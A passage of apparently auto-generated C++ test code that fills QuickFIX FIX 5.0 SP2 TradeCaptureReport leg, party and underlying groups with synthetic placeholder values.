FIX::LegSettlType{'1'}, TrdInstrmtLegGrp_NoLegs_0);\n    set_field(noLegs_0_0, FIX::LegSwapType{5}, TrdInstrmtLegGrp_NoLegs_0);\n    FIX::LegVolatility LegVolatility_6;\n    LegVolatility_6.setString(\"6130435\");\nset_field(noLegs_0_0, LegVolatility_6, TrdInstrmtLegGrp_NoLegs_0);\n    all_values.push_back(TrdInstrmtLegGrp_NoLegs_0);\n    all_compo_names.insert(\"...NoLegs\");\n\n    // InstrumentLeg\n    multiset<string> InstrumentLeg_137;\n    set_field(noLegs_0_0, FIX::EncodedLegIssuer{\"DATA_868611653\"}, InstrumentLeg_137);\n    set_field(noLegs_0_0, FIX::EncodedLegIssuerLen{476174128}, InstrumentLeg_137);\n    set_field(noLegs_0_0, FIX::EncodedLegSecurityDesc{\"DATA_1667537399\"}, InstrumentLeg_137);\n    set_field(noLegs_0_0, FIX::EncodedLegSecurityDescLen{1462682964}, InstrumentLeg_137);\n    set_field(noLegs_0_0, FIX::LegCFICode{\"STRING_1291950535\"}, InstrumentLeg_137);\n    FIX::LegContractMultiplier LegContractMultiplier_137;\n    LegContractMultiplier_137.setString(\"20885644\");\nset_field(noLegs_0_0, LegContractMultiplier_137, InstrumentLeg_137);\n    set_field(noLegs_0_0, FIX::LegContractMultiplierUnit{1144645762}, InstrumentLeg_137);\n    set_field(noLegs_0_0, FIX::LegContractSettlMonth{\"MONTHYEAR_732606807\"}, InstrumentLeg_137);\n    set_field(noLegs_0_0, FIX::LegCountryOfIssue{\"COUNTRY_300346592\"}, InstrumentLeg_137);\n    set_field(noLegs_0_0, FIX::LegCouponPaymentDate{\"LOCALMKTDATE_621320815\"}, InstrumentLeg_137);\n    FIX::LegCouponRate LegCouponRate_137;\n    LegCouponRate_137.setString(\"23.390000\");\nset_field(noLegs_0_0, LegCouponRate_137, InstrumentLeg_137);\n    set_field(noLegs_0_0, FIX::LegCreditRating{\"STRING_1282391357\"}, InstrumentLeg_137);\n    set_field(noLegs_0_0, FIX::LegCurrency{\"GBP\"}, InstrumentLeg_137);\n    set_field(noLegs_0_0, FIX::LegDatedDate{\"LOCALMKTDATE_336426988\"}, InstrumentLeg_137);\n    set_field(noLegs_0_0, FIX::LegExerciseStyle{1457905291}, InstrumentLeg_137);\n    FIX::LegFactor LegFactor_137;\n    LegFactor_137.setString(\"16256051\");\nset_field(noLegs_0_0, LegFactor_137, InstrumentLeg_137);\n    set_field(noLegs_0_0, FIX::LegFlowScheduleType{652648317}, InstrumentLeg_137);\n    set_field(noLegs_0_0, FIX::LegInstrRegistry{\"STRING_832324292\"}, InstrumentLeg_137);\n    set_field(noLegs_0_0, FIX::LegInterestAccrualDate{\"LOCALMKTDATE_178043191\"}, InstrumentLeg_137);\n    set_field(noLegs_0_0, FIX::LegIssueDate{\"LOCALMKTDATE_161746309\"}, InstrumentLeg_137);\n    set_field(noLegs_0_0, FIX::LegIssuer{\"STRING_755392592\"}, InstrumentLeg_137);\n    set_field(noLegs_0_0, FIX::LegLocaleOfIssue{\"STRING_545158060\"}, InstrumentLeg_137);\n    set_field(noLegs_0_0, FIX::LegMaturityDate{\"LOCALMKTDATE_1895423411\"}, InstrumentLeg_137);\n    set_field(noLegs_0_0, FIX::LegMaturityMonthYear{\"MONTHYEAR_428346399\"}, InstrumentLeg_137);\n    set_field(noLegs_0_0, FIX::LegMaturityTime{\"TZTIMEONLY_1415660631\"}, InstrumentLeg_137);\n    set_field(noLegs_0_0, FIX::LegOptAttribute{'3'}, InstrumentLeg_137);\n    FIX::LegOptionRatio LegOptionRatio_137;\n    LegOptionRatio_137.setString(\"13609127\");\nset_field(noLegs_0_0, LegOptionRatio_137, InstrumentLeg_137);\n    set_field(noLegs_0_0, FIX::LegPool{\"STRING_914380465\"}, InstrumentLeg_137);\n    set_field(noLegs_0_0, FIX::LegPriceUnitOfMeasure{\"STRING_475310177\"}, InstrumentLeg_137);\n    FIX::LegPriceUnitOfMeasureQty LegPriceUnitOfMeasureQty_137;\n    LegPriceUnitOfMeasureQty_137.setString(\"19739563\");\nset_field(noLegs_0_0, LegPriceUnitOfMeasureQty_137, InstrumentLeg_137);\n    set_field(noLegs_0_0, FIX::LegProduct{1782992118}, InstrumentLeg_137);\n    set_field(noLegs_0_0, FIX::LegPutOrCall{951484305}, InstrumentLeg_137);\n    FIX::LegRatioQty LegRatioQty_137;\n    LegRatioQty_137.setString(\"14940100\");\nset_field(noLegs_0_0, LegRatioQty_137, InstrumentLeg_137);\n    set_field(noLegs_0_0, FIX::LegRedemptionDate{\"LOCALMKTDATE_1098191434\"}, InstrumentLeg_137);\n    set_field(noLegs_0_0, FIX::LegRepoCollateralSecurityType{\"STRING_95951192\"}, InstrumentLeg_137);\n    FIX::LegRepurchaseRate LegRepurchaseRate_137;\n    LegRepurchaseRate_137.setString(\"8.180000\");\nset_field(noLegs_0_0, LegRepurchaseRate_137, InstrumentLeg_137);\n    set_field(noLegs_0_0, FIX::LegRepurchaseTerm{95353548}, InstrumentLeg_137);\n    set_field(noLegs_0_0, FIX::LegSecurityDesc{\"STRING_828557999\"}, InstrumentLeg_137);\n    set_field(noLegs_0_0, FIX::LegSecurityExchange{\"EXCHANGE_1735437410\"}, InstrumentLeg_137);\n    set_field(noLegs_0_0, FIX::LegSecurityID{\"STRING_716674363\"}, InstrumentLeg_137);\n    set_field(noLegs_0_0, FIX::LegSecurityIDSource{\"STRING_2099090338\"}, InstrumentLeg_137);\n    set_field(noLegs_0_0, FIX::LegSecuritySubType{\"STRING_870345119\"}, InstrumentLeg_137);\n    set_field(noLegs_0_0, FIX::LegSecurityType{\"STRING_1140391410\"}, InstrumentLeg_137);\n    set_field(noLegs_0_0, FIX::LegSide{'1'}, InstrumentLeg_137);\n    set_field(noLegs_0_0, FIX::LegStateOrProvinceOfIssue{\"STRING_1206772108\"}, InstrumentLeg_137);\n    set_field(noLegs_0_0, FIX::LegStrikeCurrency{\"JPY\"}, InstrumentLeg_137);\n    FIX::LegStrikePrice LegStrikePrice_137;\n    LegStrikePrice_137.setString(\"18594204\");\nset_field(noLegs_0_0, LegStrikePrice_137, InstrumentLeg_137);\n    set_field(noLegs_0_0, FIX::LegSymbol{\"STRING_1283137346\"}, InstrumentLeg_137);\n    set_field(noLegs_0_0, FIX::LegSymbolSfx{\"STRING_1965363467\"}, InstrumentLeg_137);\n    set_field(noLegs_0_0, FIX::LegTimeUnit{\"STRING_2021166734\"}, InstrumentLeg_137);\n    set_field(noLegs_0_0, FIX::LegUnitOfMeasure{\"STRING_2038529938\"}, InstrumentLeg_137);\n    FIX::LegUnitOfMeasureQty LegUnitOfMeasureQty_137;\n    LegUnitOfMeasureQty_137.setString(\"3630378\");\nset_field(noLegs_0_0, LegUnitOfMeasureQty_137, InstrumentLeg_137);\n    all_values.push_back(InstrumentLeg_137);\n    all_compo_names.insert(\"...NoLegs.\");\n\n    // LegSecAltIDGrp\n    // Group LegSecAltIDGrp.NoLegSecurityAltID\n    {\n      FIX50SP2::TradeCaptureReport::NoLegs::NoLegSecurityAltID noLegSecurityAltID_0_1_0;\n      // LegSecAltIDGrp.NoLegSecurityAltID\n      multiset<string> LegSecAltIDGrp_NoLegSecurityAltID_273;\n      set_field(noLegSecurityAltID_0_1_0, FIX::LegSecurityAltID{\"STRING_319392690\"}, LegSecAltIDGrp_NoLegSecurityAltID_273);\n      set_field(noLegSecurityAltID_0_1_0, FIX::LegSecurityAltIDSource{\"STRING_1778698511\"}, LegSecAltIDGrp_NoLegSecurityAltID_273);\n      all_values.push_back(LegSecAltIDGrp_NoLegSecurityAltID_273);\n      all_compo_names.insert(\"...NoLegs....NoLegSecurityAltID\");\n\n      noLegs_0_0.addGroup(noLegSecurityAltID_0_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReport::NoLegs::NoLegSecurityAltID noLegSecurityAltID_0_1_1;\n      // LegSecAltIDGrp.NoLegSecurityAltID\n      multiset<string> LegSecAltIDGrp_NoLegSecurityAltID_274;\n      set_field(noLegSecurityAltID_0_1_1, FIX::LegSecurityAltID{\"STRING_2118817311\"}, LegSecAltIDGrp_NoLegSecurityAltID_274);\n      set_field(noLegSecurityAltID_0_1_1, FIX::LegSecurityAltIDSource{\"STRING_1680305455\"}, LegSecAltIDGrp_NoLegSecurityAltID_274);\n      all_values.push_back(LegSecAltIDGrp_NoLegSecurityAltID_274);\n      all_compo_names.insert(\"...NoLegs....NoLegSecurityAltID\");\n\n      noLegs_0_0.addGroup(noLegSecurityAltID_0_1_1);\n    }\n    {\n      FIX50SP2::TradeCaptureReport::NoLegs::NoLegSecurityAltID noLegSecurityAltID_0_1_2;\n      // LegSecAltIDGrp.NoLegSecurityAltID\n      multiset<string> LegSecAltIDGrp_NoLegSecurityAltID_275;\n      set_field(noLegSecurityAltID_0_1_2, FIX::LegSecurityAltID{\"STRING_545595328\"}, LegSecAltIDGrp_NoLegSecurityAltID_275);\n      set_field(noLegSecurityAltID_0_1_2, FIX::LegSecurityAltIDSource{\"STRING_446643840\"}, LegSecAltIDGrp_NoLegSecurityAltID_275);\n      all_values.push_back(LegSecAltIDGrp_NoLegSecurityAltID_275);\n      all_compo_names.insert(\"...NoLegs....NoLegSecurityAltID\");\n\n      noLegs_0_0.addGroup(noLegSecurityAltID_0_1_2);\n    }\n    // LegStipulations\n    // Group LegStipulations.NoLegStipulations\n    {\n      FIX50SP2::TradeCaptureReport::NoLegs::NoLegStipulations noLegStipulations_0_1_0;\n      // LegStipulations.NoLegStipulations\n      multiset<string> LegStipulations_NoLegStipulations_63;\n      set_field(noLegStipulations_0_1_0, FIX::LegStipulationType{\"STRING_181103798\"}, LegStipulations_NoLegStipulations_63);\n      set_field(noLegStipulations_0_1_0, FIX::LegStipulationValue{\"STRING_1398128145\"}, LegStipulations_NoLegStipulations_63);\n      all_values.push_back(LegStipulations_NoLegStipulations_63);\n      all_compo_names.insert(\"...NoLegs...NoLegStipulations\");\n\n      noLegs_0_0.addGroup(noLegStipulations_0_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReport::NoLegs::NoLegStipulations noLegStipulations_0_1_1;\n      // LegStipulations.NoLegStipulations\n      multiset<string> LegStipulations_NoLegStipulations_64;\n      set_field(noLegStipulations_0_1_1, FIX::LegStipulationType{\"STRING_853304513\"}, LegStipulations_NoLegStipulations_64);\n      set_field(noLegStipulations_0_1_1, FIX::LegStipulationValue{\"STRING_1279295232\"}, LegStipulations_NoLegStipulations_64);\n      all_values.push_back(LegStipulations_NoLegStipulations_64);\n      all_compo_names.insert(\"...NoLegs...NoLegStipulations\");\n\n      noLegs_0_0.addGroup(noLegStipulations_0_1_1);\n    }\n    // NestedParties\n    // Group NestedParties.NoNestedPartyIDs\n    {\n      FIX50SP2::TradeCaptureReport::NoLegs::NoNestedPartyIDs noNestedPartyIDs_0_1_0;\n      // NestedParties.NoNestedPartyIDs\n      multiset<string> NestedParties_NoNestedPartyIDs_154;\n      set_field(noNestedPartyIDs_0_1_0, FIX::NestedPartyID{\"STRING_140911683\"}, NestedParties_NoNestedPartyIDs_154);\n      set_field(noNestedPartyIDs_0_1_0, FIX::NestedPartyIDSource{'1'}, NestedParties_NoNestedPartyIDs_154);\n      set_field(noNestedPartyIDs_0_1_0, FIX::NestedPartyRole{175153689}, NestedParties_NoNestedPartyIDs_154);\n      all_values.push_back(NestedParties_NoNestedPartyIDs_154);\n      all_compo_names.insert(\"...NoLegs...NoNestedPartyIDs\");\n\n      // NstdPtysSubGrp\n      // Group NstdPtysSubGrp.NoNestedPartySubIDs\n      {\n        FIX50SP2::TradeCaptureReport::NoLegs::NoNestedPartyIDs::NoNestedPartySubIDs noNestedPartySubIDs_0_0_2_0;\n        // NstdPtysSubGrp.NoNestedPartySubIDs\n        multiset<string> NstdPtysSubGrp_NoNestedPartySubIDs_317;\n        set_field(noNestedPartySubIDs_0_0_2_0, FIX::NestedPartySubID{\"STRING_2091323143\"}, NstdPtysSubGrp_NoNestedPartySubIDs_317);\n        set_field(noNestedPartySubIDs_0_0_2_0, FIX::NestedPartySubIDType{126760380}, NstdPtysSubGrp_NoNestedPartySubIDs_317);\n        all_values.push_back(NstdPtysSubGrp_NoNestedPartySubIDs_317);\n        all_compo_names.insert(\"...NoLegs...NoNestedPartyIDs...NoNestedPartySubIDs\");\n\n        noNestedPartyIDs_0_1_0.addGroup(noNestedPartySubIDs_0_0_2_0);\n      }\n      {\n        FIX50SP2::TradeCaptureReport::NoLegs::NoNestedPartyIDs::NoNestedPartySubIDs noNestedPartySubIDs_0_0_2_1;\n        // NstdPtysSubGrp.NoNestedPartySubIDs\n        multiset<string> NstdPtysSubGrp_NoNestedPartySubIDs_318;\n        set_field(noNestedPartySubIDs_0_0_2_1, FIX::NestedPartySubID{\"STRING_599210565\"}, NstdPtysSubGrp_NoNestedPartySubIDs_318);\n        set_field(noNestedPartySubIDs_0_0_2_1, FIX::NestedPartySubIDType{1084230905}, NstdPtysSubGrp_NoNestedPartySubIDs_318);\n        all_values.push_back(NstdPtysSubGrp_NoNestedPartySubIDs_318);\n        all_compo_names.insert(\"...NoLegs...NoNestedPartyIDs...NoNestedPartySubIDs\");\n\n        noNestedPartyIDs_0_1_0.addGroup(noNestedPartySubIDs_0_0_2_1);\n      }\n      {\n        FIX50SP2::TradeCaptureReport::NoLegs::NoNestedPartyIDs::NoNestedPartySubIDs noNestedPartySubIDs_0_0_2_2;\n        // NstdPtysSubGrp.NoNestedPartySubIDs\n        multiset<string> NstdPtysSubGrp_NoNestedPartySubIDs_319;\n        set_field(noNestedPartySubIDs_0_0_2_2, FIX::NestedPartySubID{\"STRING_288475540\"}, NstdPtysSubGrp_NoNestedPartySubIDs_319);\n        set_field(noNestedPartySubIDs_0_0_2_2, FIX::NestedPartySubIDType{1805982673}, NstdPtysSubGrp_NoNestedPartySubIDs_319);\n        all_values.push_back(NstdPtysSubGrp_NoNestedPartySubIDs_319);\n        all_compo_names.insert(\"...NoLegs...NoNestedPartyIDs...NoNestedPartySubIDs\");\n\n        noNestedPartyIDs_0_1_0.addGroup(noNestedPartySubIDs_0_0_2_2);\n      }\n      noLegs_0_0.addGroup(noNestedPartyIDs_0_1_0);\n    }\n    // TradeCapLegUnderlyingsGrp\n    // Group TradeCapLegUnderlyingsGrp.NoOfLegUnderlyings\n    {\n      FIX50SP2::TradeCaptureReport::NoLegs::NoOfLegUnderlyings noOfLegUnderlyings_0_1_0;\n      // TradeCapLegUnderlyingsGrp.NoOfLegUnderlyings\n      // UnderlyingLegInstrument\n      multiset<string> UnderlyingLegInstrument_0;\n      set_field(noOfLegUnderlyings_0_1_0, FIX::UnderlyingLegCFICode{\"STRING_2075795816\"}, UnderlyingLegInstrument_0);\n      set_field(noOfLegUnderlyings_0_1_0, FIX::UnderlyingLegMaturityDate{\"LOCALMKTDATE_1517919450\"}, UnderlyingLegInstrument_0);\n      set_field(noOfLegUnderlyings_0_1_0, FIX::UnderlyingLegMaturityMonthYear{\"MONTHYEAR_670697657\"}, UnderlyingLegInstrument_0);\n      set_field(noOfLegUnderlyings_0_1_0, FIX::UnderlyingLegMaturityTime{\"TZTIMEONLY_1893675636\"}, UnderlyingLegInstrument_0);\n      set_field(noOfLegUnderlyings_0_1_0, FIX::UnderlyingLegOptAttribute{'1'}, UnderlyingLegInstrument_0);\n      set_field(noOfLegUnderlyings_0_1_0, FIX::UnderlyingLegPutOrCall{561743948}, UnderlyingLegInstrument_0);\n      set_field(noOfLegUnderlyings_0_1_0, FIX::UnderlyingLegSecurityDesc{\"STRING_109229868\"}, UnderlyingLegInstrument_0);\n      set_field(noOfLegUnderlyings_0_1_0, FIX::UnderlyingLegSecurityExchange{\"STRING_1013225385\"}, UnderlyingLegInstrument_0);\n      set_field(noOfLegUnderlyings_0_1_0, FIX::UnderlyingLegSecurityID{\"STRING_881136638\"}, UnderlyingLegInstrument_0);\n      set_field(noOfLegUnderlyings_0_1_0, FIX::UnderlyingLegSecurityIDSource{\"STRING_1887928379\"}, UnderlyingLegInstrument_0);\n      set_field(noOfLegUnderlyings_0_1_0, FIX::UnderlyingLegSecuritySubType{\"STRING_984559049\"}, UnderlyingLegInstrument_0);\n      set_field(noOfLegUnderlyings_0_1_0, FIX::UnderlyingLegSecurityType{\"STRING_413958445\"}, UnderlyingLegInstrument_0);\n      FIX::UnderlyingLegStrikePrice UnderlyingLegStrikePrice_0;\n      UnderlyingLegStrikePrice_0.setString(\"2860400\");\nset_field(noOfLegUnderlyings_0_1_0, UnderlyingLegStrikePrice_0, UnderlyingLegInstrument_0);\n      set_field(noOfLegUnderlyings_0_1_0, FIX::UnderlyingLegSymbol{\"STRING_1431202889\"}, UnderlyingLegInstrument_0);\n      set_field(noOfLegUnderlyings_0_1_0, FIX::UnderlyingLegSymbolSfx{\"STRING_1920736554\"}, UnderlyingLegInstrument_0);\n      all_values.push_back(UnderlyingLegInstrument_0);\n      all_compo_names.insert(\"...NoLegs...NoOfLegUnderlyings.\");\n\n      // UnderlyingLegSecurityAltIDGrp\n      // Group UnderlyingLegSecurityAltIDGrp.NoUnderlyingLegSecurityAltID\n      {\n        FIX50SP2::TradeCaptureReport::NoLegs::NoOfLegUnderlyings::NoUnderlyingLegSecurityAltID noUnderlyingLegSecurityAltID_0_0_2_0;\n        // UnderlyingLegSecurityAltIDGrp.NoUnderlyingLegSecurityAltID\n        multiset<string> UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_0;\n        set_field(noUnderlyingLegSecurityAltID_0_0_2_0, FIX::UnderlyingLegSecurityAltID{\"STRING_681847387\"}, UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_0);\n        set_field(noUnderlyingLegSecurityAltID_0_0_2_0, FIX::UnderlyingLegSecurityAltIDSource{\"STRING_626557419\"}, UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_0);\n        all_values.push_back(UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_0);\n        all_compo_names.insert(\"...NoLegs...NoOfLegUnderlyings....NoUnderlyingLegSecurityAltID\");\n\n        noOfLegUnderlyings_0_1_0.addGroup(noUnderlyingLegSecurityAltID_0_0_2_0);\n      }\n      noLegs_0_0.addGroup(noOfLegUnderlyings_0_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReport::NoLegs::NoOfLegUnderlyings noOfLegUnderlyings_0_1_1;\n      // TradeCapLegUnderlyingsGrp.NoOfLegUnderlyings\n      // UnderlyingLegInstrument\n      multiset<string> UnderlyingLegInstrument_1;\n      set_field(noOfLegUnderlyings_0_1_1, FIX::UnderlyingLegCFICode{\"STRING_1746439089\"}, UnderlyingLegInstrument_1);\n      set_field(noOfLegUnderlyings_0_1_1, FIX::UnderlyingLegMaturityDate{\"LOCALMKTDATE_28443077\"}, UnderlyingLegInstrument_1);\n      set_field(noOfLegUnderlyings_0_1_1, FIX::UnderlyingLegMaturityMonthYear{\"MONTHYEAR_767469102\"}, UnderlyingLegInstrument_1);\n      set_field(noOfLegUnderlyings_0_1_1, FIX::UnderlyingLegMaturityTime{\"TZTIMEONLY_973604221\"}, UnderlyingLegInstrument_1);\n      set_field(noOfLegUnderlyings_0_1_1, FIX::UnderlyingLegOptAttribute{'2'}, UnderlyingLegInstrument_1);\n      set_field(noOfLegUnderlyings_0_1_1, FIX::UnderlyingLegPutOrCall{496334547}, UnderlyingLegInstrument_1);\n      set_field(noOfLegUnderlyings_0_1_1, FIX::UnderlyingLegSecurityDesc{\"STRING_917443716\"}, UnderlyingLegInstrument_1);\n      set_field(noOfLegUnderlyings_0_1_1, FIX::UnderlyingLegSecurityExchange{\"STRING_330357146\"}, UnderlyingLegInstrument_1);\n      set_field(noOfLegUnderlyings_0_1_1, FIX::UnderlyingLegSecurityID{\"STRING_1095545112\"}, UnderlyingLegInstrument_1);\n      set_field(noOfLegUnderlyings_0_1_1, FIX::UnderlyingLegSecurityIDSource{\"STRING_2001674621\"}, UnderlyingLegInstrument_1);\n      set_field(noOfLegUnderlyings_0_1_1, FIX::UnderlyingLegSecuritySubType{\"STRING_618832687\"}, UnderlyingLegInstrument_1);\n      set_field(noOfLegUnderlyings_0_1_1, FIX::UnderlyingLegSecurityType{\"STRING_754044137\"}, UnderlyingLegInstrument_1);\n      FIX::UnderlyingLegStrikePrice UnderlyingLegStrikePrice_1;\n      UnderlyingLegStrikePrice_1.setString(\"13892349\");\nset_field(noOfLegUnderlyings_0_1_1, UnderlyingLegStrikePrice_1, UnderlyingLegInstrument_1);\n      set_field(noOfLegUnderlyings_0_1_1, FIX::UnderlyingLegSymbol{\"STRING_547144855\"}, UnderlyingLegInstrument_1);\n      set_field(noOfLegUnderlyings_0_1_1, FIX::UnderlyingLegSymbolSfx{\"STRING_124479939\"}, UnderlyingLegInstrument_1);\n      all_values.push_back(UnderlyingLegInstrument_1);\n      all_compo_names.insert(\"...NoLegs...NoOfLegUnderlyings.\");\n\n      // UnderlyingLegSecurityAltIDGrp\n      // Group UnderlyingLegSecurityAltIDGrp.NoUnderlyingLegSecurityAltID\n      {\n        FIX50SP2::TradeCaptureReport::NoLegs::NoOfLegUnderlyings::NoUnderlyingLegSecurityAltID noUnderlyingLegSecurityAltID_0_1_2_0;\n        // UnderlyingLegSecurityAltIDGrp.NoUnderlyingLegSecurityAltID\n        multiset<string> UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_1;\n        set_field(noUnderlyingLegSecurityAltID_0_1_2_0, FIX::UnderlyingLegSecurityAltID{\"STRING_293336843\"}, UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_1);\n        set_field(noUnderlyingLegSecurityAltID_0_1_2_0, FIX::UnderlyingLegSecurityAltIDSource{\"STRING_1516082475\"}, UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_1);\n        all_values.push_back(UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_1);\n        all_compo_names.insert(\"...NoLegs...NoOfLegUnderlyings....NoUnderlyingLegSecurityAltID\");\n\n        noOfLegUnderlyings_0_1_1.addGroup(noUnderlyingLegSecurityAltID_0_1_2_0);\n      }\n      {\n        FIX50SP2::TradeCaptureReport::NoLegs::NoOfLegUnderlyings::NoUnderlyingLegSecurityAltID noUnderlyingLegSecurityAltID_0_1_2_1;\n        // UnderlyingLegSecurityAltIDGrp.NoUnderlyingLegSecurityAltID\n        multiset<string> UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_2;\n        set_field(noUnderlyingLegSecurityAltID_0_1_2_1, FIX::UnderlyingLegSecurityAltID{\"STRING_474192890\"}, UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_2);\n        set_field(noUnderlyingLegSecurityAltID_0_1_2_1, FIX::UnderlyingLegSecurityAltIDSource{\"STRING_402566711\"}, UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_2);\n        all_values.push_back(UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_2);\n        all_compo_names.insert(\"...NoLegs...NoOfLegUnderlyings....NoUnderlyingLegSecurityAltID\");\n\n        noOfLegUnderlyings_0_1_1.addGroup(noUnderlyingLegSecurityAltID_0_1_2_1);\n      }\n      {\n        FIX50SP2::TradeCaptureReport::NoLegs::NoOfLegUnderlyings::NoUnderlyingLegSecurityAltID noUnderlyingLegSecurityAltID_0_1_2_2;\n        // UnderlyingLegSecurityAltIDGrp.NoUnderlyingLegSecurityAltID\n        multiset<string> UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_3;\n        set_field(noUnderlyingLegSecurityAltID_0_1_2_2, FIX::UnderlyingLegSecurityAltID{\"STRING_381824213\"}, UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_3);\n        set_field(noUnderlyingLegSecurityAltID_0_1_2_2, FIX::UnderlyingLegSecurityAltIDSource{\"STRING_1355329528\"}, UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_3);\n        all_values.push_back(UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_3);\n        all_compo_names.insert(\"...NoLegs...NoOfLegUnderlyings....NoUnderlyingLegSecurityAltID\");\n\n        noOfLegUnderlyings_0_1_1.addGroup(noUnderlyingLegSecurityAltID_0_1_2_2);\n      }\n      noLegs_0_0.addGroup(noOfLegUnderlyings_0_1_1);\n    }\n    {\n      FIX50SP2::TradeCaptureReport::NoLegs::NoOfLegUnderlyings noOfLegUnderlyings_0_1_2;\n      // TradeCapLegUnderlyingsGrp.NoOfLegUnderlyings\n      // UnderlyingLegInstrument\n      multiset<string> UnderlyingLegInstrument_2;\n      set_field(noOfLegUnderlyings_0_1_2, FIX::UnderlyingLegCFICode{\"STRING_143011442\"}, UnderlyingLegInstrument_2);\n      set_field(noOfLegUnderlyings_0_1_2, FIX::UnderlyingLegMaturityDate{\"LOCALMKTDATE_1366383262\"}, UnderlyingLegInstrument_2);\n      set_field(noOfLegUnderlyings_0_1_2, FIX::UnderlyingLegMaturityMonthYear{\"MONTHYEAR_1769287974\"}, UnderlyingLegInstrument_2);\n      set_field(noOfLegUnderlyings_0_1_2, FIX::UnderlyingLegMaturityTime{\"TZTIMEONLY_429051501\"}, UnderlyingLegInstrument_2);\n      set_field(noOfLegUnderlyings_0_1_2, FIX::UnderlyingLegOptAttribute{'6'}, UnderlyingLegInstrument_2);\n      set_field(noOfLegUnderlyings_0_1_2, FIX::UnderlyingLegPutOrCall{1542540880}, UnderlyingLegInstrument_2);\n      set_field(noOfLegUnderlyings_0_1_2, FIX::UnderlyingLegSecurityDesc{\"STRING_896195358\"}, UnderlyingLegInstrument_2);\n      set_field(noOfLegUnderlyings_0_1_2, FIX::UnderlyingLegSecurityExchange{\"STRING_1331949890\"}, UnderlyingLegInstrument_2);\n      set_field(noOfLegUnderlyings_0_1_2, FIX::UnderlyingLegSecurityID{\"STRING_21614651\"}, UnderlyingLegInstrument_2);\n      set_field(noOfLegUnderlyings_0_1_2, FIX::UnderlyingLegSecurityIDSource{\"STRING_495150799\"}, UnderlyingLegInstrument_2);\n      set_field(noOfLegUnderlyings_0_1_2, FIX::UnderlyingLegSecuritySubType{\"STRING_1360392967\"}, UnderlyingLegInstrument_2);\n      set_field(noOfLegUnderlyings_0_1_2, FIX::UnderlyingLegSecurityType{\"STRING_789083753\"}, UnderlyingLegInstrument_2);\n      FIX::UnderlyingLegStrikePrice UnderlyingLegStrikePrice_2;\n      UnderlyingLegStrikePrice_2.setString(\"14687550\");\nset_field(noOfLegUnderlyings_0_1_2, UnderlyingLegStrikePrice_2, UnderlyingLegInstrument_2);\n      set_field(noOfLegUnderlyings_0_1_2, FIX::UnderlyingLegSymbol{\"STRING_1563989734\"}, UnderlyingLegInstrument_2);\n      set_field(noOfLegUnderlyings_0_1_2, FIX::UnderlyingLegSymbolSfx{\"STRING_1285418300\"}, UnderlyingLegInstrument_2);\n      all_values.push_back(UnderlyingLegInstrument_2);\n      all_compo_names.insert(\"...NoLegs...NoOfLegUnderlyings.\");\n\n      // UnderlyingLegSecurityAltIDGrp\n      // Group UnderlyingLegSecurityAltIDGrp.NoUnderlyingLegSecurityAltID\n      {\n        FIX50SP2::TradeCaptureReport::NoLegs::NoOfLegUnderlyings::NoUnderlyingLegSecurityAltID noUnderlyingLegSecurityAltID_0_2_2_0;\n        // UnderlyingLegSecurityAltIDGrp.NoUnderlyingLegSecurityAltID\n        multiset<string> UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_4;\n        set_field(noUnderlyingLegSecurityAltID_0_2_2_0, FIX::UnderlyingLegSecurityAltID{\"STRING_1894346880\"}, UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_4);\n        set_field(noUnderlyingLegSecurityAltID_0_2_2_0, FIX::UnderlyingLegSecurityAltIDSource{\"STRING_233479765\"}, UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_4);\n        all_values.push_back(UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_4);\n        all_compo_names.insert(\"...NoLegs...NoOfLegUnderlyings....NoUnderlyingLegSecurityAltID\");\n\n        noOfLegUnderlyings_0_1_2.addGroup(noUnderlyingLegSecurityAltID_0_2_2_0);\n      }\n      noLegs_0_0.addGroup(noOfLegUnderlyings_0_1_2);\n    }\n    msg.addGroup(noLegs_0_0);\n  }\n  {\n    FIX50SP2::TradeCaptureReport::NoLegs noLegs_0_1;\n    // TrdInstrmtLegGrp.NoLegs\n    multiset<string> TrdInstrmtLegGrp_NoLegs_1;\n    FIX::LegCalculatedCcyLastQty LegCalculatedCcyLastQty_3;\n    LegCalculatedCcyLastQty_3.setString(\"929060\");\nset_field(noLegs_0_1, LegCalculatedCcyLastQty_3, TrdInstrmtLegGrp_NoLegs_1);\n    set_field(noLegs_0_1, FIX::LegCoveredOrUncovered{365695919}, TrdInstrmtLegGrp_NoLegs_1);\n    FIX::LegCurrencyRatio LegCurrencyRatio_7;\n    LegCurrencyRatio_7.setString(\"9875239\");\nset_field(noLegs_0_1, LegCurrencyRatio_7, TrdInstrmtLegGrp_NoLegs_1);\n    FIX::LegDividendYield LegDividendYield_7;\n    LegDividendYield_7.setString(\"9.950000\");\nset_field(noLegs_0_1, LegDividendYield_7, TrdInstrmtLegGrp_NoLegs_1);\n    set_field(noLegs_0_1, FIX::LegExecInst{\"MULTIPLECHARVALUE_912840775\"}, TrdInstrmtLegGrp_NoLegs_1);\n    FIX::LegGrossTradeAmt LegGrossTradeAmt_3;\n    LegGrossTradeAmt_3.setString(\"11120038\");\nset_field(noLegs_0_1, LegGrossTradeAmt_3, TrdInstrmtLegGrp_NoLegs_1);\n    